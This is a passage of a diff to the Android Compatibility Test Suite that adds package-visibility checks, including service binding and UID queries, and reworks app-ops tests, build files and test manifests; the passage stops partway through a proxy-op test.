@@ -462,7 +490,8 @@
 
     @Test
     public void broadcastAdded_visibleReceives() throws Exception {
-        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS, null,
+        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
                 Constants.ACTION_AWAIT_PACKAGE_ADDED);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
@@ -475,7 +504,8 @@
 
     @Test
     public void broadcastRemoved_notVisibleDoesNotReceive() throws Exception {
-        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS, null,
+        final Result result = sendCommand(QUERIES_NOTHING, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
                 Constants.ACTION_AWAIT_PACKAGE_REMOVED);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
@@ -488,7 +518,8 @@
 
     @Test
     public void broadcastRemoved_visibleReceives() throws Exception {
-        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS, null,
+        final Result result = sendCommand(QUERIES_ACTIVITY_ACTION, TARGET_FILTERS,
+                /* targetUid */ INVALID_UID, /* intentExtra */ null,
                 Constants.ACTION_AWAIT_PACKAGE_REMOVED);
         runShellCommand("pm install " + TARGET_FILTERS_APK);
         try {
@@ -515,9 +546,22 @@
         assertVisible(QUERIES_NOTHING_PROVIDER, QUERIES_NOTHING_PERM);
     }
 
+    @Test
+    public void bindService_consistentVisibility() throws Exception {
+        // Ensure package visibility isn't impacted by optimization or cached result.
+        // Target service shouldn't be visible to app without query permission even if
+        // another app with query permission is binding it.
+        assertServiceVisible(QUERIES_NOTHING_PERM, TARGET_FILTERS);
+        assertServiceNotVisible(QUERIES_NOTHING, TARGET_FILTERS);
+    }
+
     private void assertNotVisible(String sourcePackageName, String targetPackageName)
             throws Exception {
         if (!sGlobalFeatureEnabled) return;
+        final int targetUid = InstrumentationRegistry.getInstrumentation().getContext()
+                .getPackageManager().getPackageUid(targetPackageName, /* flags */ 0);
+        Assert.assertFalse(isAppInPackageNamesArray(targetPackageName,
+                getPackagesForUid(sourcePackageName, targetUid)));
         try {
             getPackageInfo(sourcePackageName, targetPackageName);
             fail(sourcePackageName + " should not be able to see " + targetPackageName);
@@ -525,6 +569,23 @@
         }
     }
 
+    private void assertServiceVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        assertTrue(bindService(sourcePackageName, targetPackageName));
+    }
+
+    private void assertServiceNotVisible(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        if (!sGlobalFeatureEnabled) return;
+        assertFalse(bindService(sourcePackageName, targetPackageName));
+    }
+
+    private boolean isAppInPackageNamesArray(String packageName, String[] packageNames) {
+        return packageNames != null && Stream.of(packageNames).anyMatch(
+                name -> name.equals(packageName));
+    }
+
     interface ThrowingBiFunction<T, U, R> {
         R apply(T arg1, U arg2) throws Exception;
     }
@@ -565,6 +626,13 @@
         return response.getParcelable(Intent.EXTRA_RETURN_RESULT);
     }
 
+    private String[] getPackagesForUid(String sourcePackageName, int targetUid)
+            throws Exception {
+        Bundle response = sendCommandBlocking(sourcePackageName, targetUid, /* intentExtra */ null,
+                ACTION_GET_PACKAGES_FOR_UID);
+        return response.getStringArray(Intent.EXTRA_RETURN_RESULT);
+    }
+
     private PackageInfo startForResult(String sourcePackageName, String targetPackageName)
             throws Exception {
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
@@ -579,7 +647,7 @@
                 new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
                         new ComponentName(targetPackageName,
                                 "android.appenumeration.cts.query.TestActivity")),
-                PendingIntent.FLAG_ONE_SHOT);
+                PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
 
         Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
                 pendingIntent /*queryIntent*/, Constants.ACTION_START_SENDER_FOR_RESULT);
@@ -633,13 +701,19 @@
                 ACTION_START_DIRECTLY);
     }
 
+    private boolean bindService(String sourcePackageName, String targetPackageName)
+            throws Exception {
+        final Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
+                /* intentExtra */ null, ACTION_BIND_SERVICE);
+        return response.getBoolean(Intent.EXTRA_RETURN_RESULT);
+    }
+
     interface Result {
         Bundle await() throws Exception;
     }
 
-    private Result sendCommand(String sourcePackageName,
-            @Nullable String targetPackageName,
-            @Nullable Parcelable intentExtra, String action) {
+    private Result sendCommand(String sourcePackageName, @Nullable String targetPackageName,
+            int targetUid, @Nullable Parcelable intentExtra, String action) {
         final Intent intent = new Intent(action)
                 .setComponent(new ComponentName(sourcePackageName, ACTIVITY_CLASS_TEST))
                 // data uri unique to each activity start to ensure actual launch and not just
@@ -649,6 +723,9 @@
         if (targetPackageName != null) {
             intent.putExtra(Intent.EXTRA_PACKAGE_NAME, targetPackageName);
         }
+        if (targetUid > INVALID_UID) {
+            intent.putExtra(Intent.EXTRA_UID, targetUid);
+        }
         if (intentExtra != null) {
             if (intentExtra instanceof Intent) {
                 intent.putExtra(Intent.EXTRA_INTENT, intentExtra);
@@ -683,8 +760,16 @@
     private Bundle sendCommandBlocking(String sourcePackageName, @Nullable String targetPackageName,
             @Nullable Parcelable intentExtra, String action)
             throws Exception {
-        Result result = sendCommand(sourcePackageName, targetPackageName, intentExtra, action);
+        final Result result = sendCommand(sourcePackageName, targetPackageName,
+                /* targetUid */ INVALID_UID, intentExtra, action);
         return result.await();
     }
 
+    private Bundle sendCommandBlocking(String sourcePackageName, int targetUid,
+            @Nullable Parcelable intentExtra, String action)
+            throws Exception {
+        final Result result = sendCommand(sourcePackageName, /* targetPackageName */ null,
+                targetUid, intentExtra, action);
+        return result.await();
+    }
 }
diff --git a/tests/tests/appop/Android.bp b/tests/tests/appop/Android.bp
index 48f9647..4d3bc67 100644
--- a/tests/tests/appop/Android.bp
+++ b/tests/tests/appop/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libCtsAppOpsTestCases_jni",
 
@@ -96,5 +92,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/appop/AndroidManifest.xml b/tests/tests/appop/AndroidManifest.xml
index 0c89b6e..065b0af 100644
--- a/tests/tests/appop/AndroidManifest.xml
+++ b/tests/tests/appop/AndroidManifest.xml
@@ -28,6 +28,7 @@
   <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
   <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
   <uses-permission android:name="android.permission.BLUETOOTH" />
+  <uses-permission android:name="android.permission.READ_LOGS" />
 
   <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
   <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
@@ -41,11 +42,26 @@
 
   <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
 
+  <uses-permission android:name="android.permission.SEND_SMS" />
+
   <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
 
   <application>
       <uses-library android:name="android.test.runner"/>
       <activity android:name=".UidStateForceActivity" />
+      <receiver android:name=".PublicActionReceiver"
+                android:exported="false">
+          <intent-filter>
+              <action android:name="android.app.appops.cts.PUBLIC_ACTION" />
+          </intent-filter>
+      </receiver>
+      <receiver android:name=".ProtectedActionReceiver"
+                android:exported="false"
+                android:permission="android.permission.READ_CONTACTS">
+          <intent-filter>
+              <action android:name="android.app.appops.cts.PROTECTED_ACTION" />
+          </intent-filter>
+      </receiver>
   </application>
 
   <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/appop/AndroidTest.xml b/tests/tests/appop/AndroidTest.xml
index 29f01e0..fc5c0bf 100644
--- a/tests/tests/appop/AndroidTest.xml
+++ b/tests/tests/appop/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/appop/AppInBackground/Android.bp b/tests/tests/appop/AppInBackground/Android.bp
index 40aac43..b27fa1f 100644
--- a/tests/tests/appop/AppInBackground/Android.bp
+++ b/tests/tests/appop/AppInBackground/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppInBackground",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
 }
diff --git a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
index 2928c5e..f773646 100644
--- a/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
+++ b/tests/tests/appop/AppThatCanBeForcedIntoForegroundStates/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppThatCanBeForcedIntoForegroundStates",
 
@@ -28,5 +24,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppThatUsesAppOps/Android.bp b/tests/tests/appop/AppThatUsesAppOps/Android.bp
index a80f8d3..20387bd 100644
--- a/tests/tests/appop/AppThatUsesAppOps/Android.bp
+++ b/tests/tests/appop/AppThatUsesAppOps/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library  {
     name: "libAppThatUsesAppOps_jni",
     sdk_version: "current",
@@ -62,5 +58,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToBlame1/Android.bp b/tests/tests/appop/AppToBlame1/Android.bp
index 7f61da8..b8f480e 100644
--- a/tests/tests/appop/AppToBlame1/Android.bp
+++ b/tests/tests/appop/AppToBlame1/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppToBlame1",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="1">
+  <uses-sdk android:targetSdkVersion="28" />
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution2" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution3" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution4" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution5" android:label="@string/dummyLabel" />
 
-  <application />
+  <application android:debuggable="true"/>
 
 </manifest>
diff --git a/tests/tests/appop/AppToBlame2/Android.bp b/tests/tests/appop/AppToBlame2/Android.bp
index d56247d..d463dd1 100644
--- a/tests/tests/appop/AppToBlame2/Android.bp
+++ b/tests/tests/appop/AppToBlame2/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppToBlame2",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.app.appops.cts.apptoblame"
     android:version="2">
+  <uses-sdk android:targetSdkVersion="29"/>
   <attribution android:tag="attribution1" android:label="@string/dummyLabel" />
   <attribution android:tag="attribution6" android:label="@string/dummyLabel">
     <inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/AppToCollect/Android.bp b/tests/tests/appop/AppToCollect/Android.bp
index ce08997..b98c4c1 100644
--- a/tests/tests/appop/AppToCollect/Android.bp
+++ b/tests/tests/appop/AppToCollect/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsAppToCollect",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
index 2677c7e..4d2afd9 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromExisting/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromExisting",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
index 43d19e3..d21f722 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSameAsOther/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromSameAsOther",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
index f91b619..fe3af04 100644
--- a/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
+++ b/tests/tests/appop/AppWithAttributionInheritingFromSelf/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithAttributionInheritingFromSelf",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
index d290843..a9b119d 100644
--- a/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
+++ b/tests/tests/appop/AppWithDuplicateAttribution/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithDuplicateAttribution",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithLongAttributionTag/Android.bp b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
index b971b0d..5f6f673 100644
--- a/tests/tests/appop/AppWithLongAttributionTag/Android.bp
+++ b/tests/tests/appop/AppWithLongAttributionTag/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithLongAttributionTag",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/AppWithTooManyAttributions/Android.bp b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
index 77ccfac..0af244f 100644
--- a/tests/tests/appop/AppWithTooManyAttributions/Android.bp
+++ b/tests/tests/appop/AppWithTooManyAttributions/Android.bp
@@ -12,15 +12,12 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "AppWithTooManyAttributions",
 
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ]
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/TEST_MAPPING b/tests/tests/appop/TEST_MAPPING
new file mode 100644
index 0000000..42315bd
--- /dev/null
+++ b/tests/tests/appop/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppOpsTestCases"
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
index b077110..4b4b0a0 100644
--- a/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsForegroundControlService/Android.bp
@@ -12,14 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "AppOpsForegroundControlServiceAidl",
 
     srcs: [
         "src/**/*.aidl"
     ],
-}
+}
\ No newline at end of file
diff --git a/tests/tests/appop/aidl/AppOpsUserService/Android.bp b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
index 85563a1..d894734 100644
--- a/tests/tests/appop/aidl/AppOpsUserService/Android.bp
+++ b/tests/tests/appop/aidl/AppOpsUserService/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 aidl_interface {
     name: "AppOpsUserServiceAidlNative",
     unstable: true,
diff --git a/tests/tests/appop/appopsTestUtilLib/Android.bp b/tests/tests/appop/appopsTestUtilLib/Android.bp
index bc95a5b..935909c 100644
--- a/tests/tests/appop/appopsTestUtilLib/Android.bp
+++ b/tests/tests/appop/appopsTestUtilLib/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_library {
     name: "appops-test-util-lib",
 
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index b1588d5..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -175,4 +175,18 @@
         InstrumentationRegistry.getInstrumentation().targetContext
                 .getSystemService(AppOpsManager::class.java).getOpsForPackage(uid, packageName, op)
     }[0].ops[0]
+}
+
+/**
+ * Run a block with a compat change enabled
+ */
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+    runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+    runCommand("am compat enable $changeId $packageName")
+    try {
+        wrapped()
+    } finally {
+        runCommand("am compat reset $changeId $packageName")
+        runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
index efb863b..8740478 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpEventCollectionTest.kt
@@ -19,6 +19,7 @@
 import android.app.AppOpsManager
 import android.app.AppOpsManager.MAX_PRIORITY_UID_STATE
 import android.app.AppOpsManager.MIN_PRIORITY_UID_STATE
+import android.app.AppOpsManager.MODE_ALLOWED
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
 import android.app.AppOpsManager.OP_FLAGS_ALL
 import android.app.AppOpsManager.OP_FLAG_SELF
@@ -50,6 +51,23 @@
 
     private val myUid = android.os.Process.myUid()
     private val myPackage = context.packageName
+    private val otherPkg: String
+    private val otherUid: Int
+    private val firstTag = "firstProxyAttribution"
+    private val secondTag = "secondProxyAttribution"
+
+    init {
+    // Find another app to blame
+    val otherAppInfo = context.packageManager
+        .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
+            .setDataAndType(Uri.parse("content://com.example/foo.apk"),
+                "application/vnd.android.package-archive"), 0)
+        ?.activityInfo?.applicationInfo
+
+        assumeNotNull(otherAppInfo)
+        otherPkg = otherAppInfo!!.packageName
+        otherUid = otherAppInfo.uid
+    }
 
     // Start an activity to make sure this app counts as being in the foreground
     @Rule
@@ -87,8 +105,8 @@
         sleep(1)
 
         assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-                .getLastAccessTime(MAX_PRIORITY_UID_STATE, UID_STATE_TOP, OP_FLAGS_ALL))
-                .isIn(before..beforeUidChange)
+            .getLastAccessTime(MAX_PRIORITY_UID_STATE, UID_STATE_TOP, OP_FLAGS_ALL))
+            .isIn(before..beforeUidChange)
 
         try {
             activityRule.activity.finish()
@@ -97,7 +115,7 @@
             eventually {
                 // The system remembers the time before and after the uid change as separate events
                 assertThat(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-                        .getLastAccessTime(UID_STATE_TOP + 1, MIN_PRIORITY_UID_STATE,
+                    .getLastAccessTime(UID_STATE_TOP + 1, MIN_PRIORITY_UID_STATE,
                         OP_FLAGS_ALL)).isAtLeast(beforeUidChange)
             }
         } finally {
@@ -220,7 +238,7 @@
         val attributionOpEntry = opEntry.attributedOpEntries[null]!!
 
         assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY))
-                .isIn(before..afterTrusted)
+            .isIn(before..afterTrusted)
         assertThat(attributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
         assertThat(opEntry.getLastAccessTime(OP_FLAG_TRUSTED_PROXY)).isIn(before..afterTrusted)
         assertThat(opEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterTrusted..after)
@@ -233,19 +251,19 @@
     @Test
     fun noteForTwoAttributionsCheckOpEntries() {
         val before = System.currentTimeMillis()
-        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "firstAttribution", null)
+        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, firstTag, null)
         val afterFirst = System.currentTimeMillis()
 
         // Make sure timestamps are distinct
         sleep(1)
 
         // self note
-        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, "secondAttribution", null)
+        appOpsManager.noteOp(OPSTR_WIFI_SCAN, myUid, myPackage, secondTag, null)
         val after = System.currentTimeMillis()
 
         val opEntry = getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!
-        val firstAttributionOpEntry = opEntry.attributedOpEntries["firstAttribution"]!!
-        val secondAttributionOpEntry = opEntry.attributedOpEntries["secondAttribution"]!!
+        val firstAttributionOpEntry = opEntry.attributedOpEntries[firstTag]!!
+        val secondAttributionOpEntry = opEntry.attributedOpEntries[secondTag]!!
 
         assertThat(firstAttributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(before..afterFirst)
         assertThat(secondAttributionOpEntry.getLastAccessTime(OP_FLAG_SELF)).isIn(afterFirst..after)
@@ -257,60 +275,187 @@
     @AppModeFull(reason = "instant apps cannot see other packages")
     @Test
     fun noteFromTwoProxiesAndVerifyProxyInfo() {
-        // Find another app to blame
-        val otherAppInfo = context.packageManager
-                .resolveActivity(Intent(ACTION_INSTALL_PACKAGE).addCategory(Intent.CATEGORY_DEFAULT)
-                        .setDataAndType(Uri.parse("content://com.example/foo.apk"),
-                                "application/vnd.android.package-archive"), 0)
-                ?.activityInfo?.applicationInfo
-
-        assumeNotNull(otherAppInfo)
-
-        val otherPkg = otherAppInfo!!.packageName
-        val otherUid = otherAppInfo.uid
-
         // Using the shell identity causes a trusted proxy note
         runWithShellPermissionIdentity {
-            context.createAttributionContext("firstProxyAttribution")
-                    .getSystemService(AppOpsManager::class.java)
-                    .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+            context.createAttributionContext(firstTag)
+                .getSystemService(AppOpsManager::class.java)
+                .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
         }
 
         // Make sure timestamps are distinct
         sleep(1)
 
         // untrusted proxy note
-        context.createAttributionContext("secondProxyAttribution")
-                .getSystemService(AppOpsManager::class.java)
-                .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
+        context.createAttributionContext(secondTag)
+            .getSystemService(AppOpsManager::class.java)
+            .noteProxyOp(OPSTR_WIFI_SCAN, otherPkg, otherUid, null, null)
 
         val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
         val attributionOpEntry = opEntry.attributedOpEntries[null]!!
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid)
-                .isEqualTo(myUid)
+            .isEqualTo(myUid)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.uid).isEqualTo(myUid)
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.packageName)
-                .isEqualTo(myPackage)
+            .isEqualTo(myPackage)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid)
-                .isEqualTo(myUid)
+            .isEqualTo(myUid)
         assertThat(opEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.uid).isEqualTo(myUid)
 
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)?.attributionTag)
-                .isEqualTo("firstProxyAttribution")
+            .isEqualTo(firstTag)
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAG_UNTRUSTED_PROXIED)?.attributionTag)
-                .isEqualTo("secondProxyAttribution")
+            .isEqualTo(secondTag)
 
         // If asked for all op-flags the second attribution overrides the first
         assertThat(attributionOpEntry.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag)
-                .isEqualTo("secondProxyAttribution")
+            .isEqualTo(secondTag)
+    }
+
+    @AppModeFull(reason = "instant apps cannot see other packages")
+    @Test
+    fun startStopTrustedProxyVerifyRunningAndTime() {
+        val beforeTrusted = System.currentTimeMillis()
+        // Make sure timestamps are distinct
+        sleep(1)
+
+        lateinit var firstAttrManager: AppOpsManager
+        // Using the shell identity causes a trusted proxy op
+        runWithShellPermissionIdentity {
+            firstAttrManager = context.createAttributionContext(firstTag)!!
+                .getSystemService(AppOpsManager::class.java)!!
+            val start = firstAttrManager.startProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null,
+                null)
+            assertThat(start).isEqualTo(MODE_ALLOWED)
+            sleep(1)
+        }
+
+        with(getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[null]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
+                .packageName).isEqualTo(myPackage)
+            assertThat(attributedOpEntries[null]?.getLastProxyInfo(OP_FLAG_TRUSTED_PROXIED)!!
+                .attributionTag).isEqualTo(firstTag)
+            assertThat(isRunning).isTrue()
+        }
+
+        with(getOpEntry(myUid, myPackage, OPSTR_WIFI_SCAN)!!) {
+            assertThat(attributedOpEntries[firstTag]!!.isRunning).isTrue()
+            assertThat(attributedOpEntries[firstTag]!!
+                .getLastProxyInfo(OP_FLAGS_ALL)).isNull()
+        }
+
+        firstAttrManager.finishProxyOp(OPSTR_WIFI_SCAN, otherUid, otherPkg, null)
+        sleep(1)
+        val afterTrusted = System.currentTimeMillis()
+
+        val opEntry = getOpEntry(otherUid, otherPkg, OPSTR_WIFI_SCAN)!!
+        val attributionOpEntry = opEntry.attributedOpEntries[null]!!
+        assertThat(attributionOpEntry.isRunning).isFalse()
+        assertThat(opEntry.isRunning).isFalse()
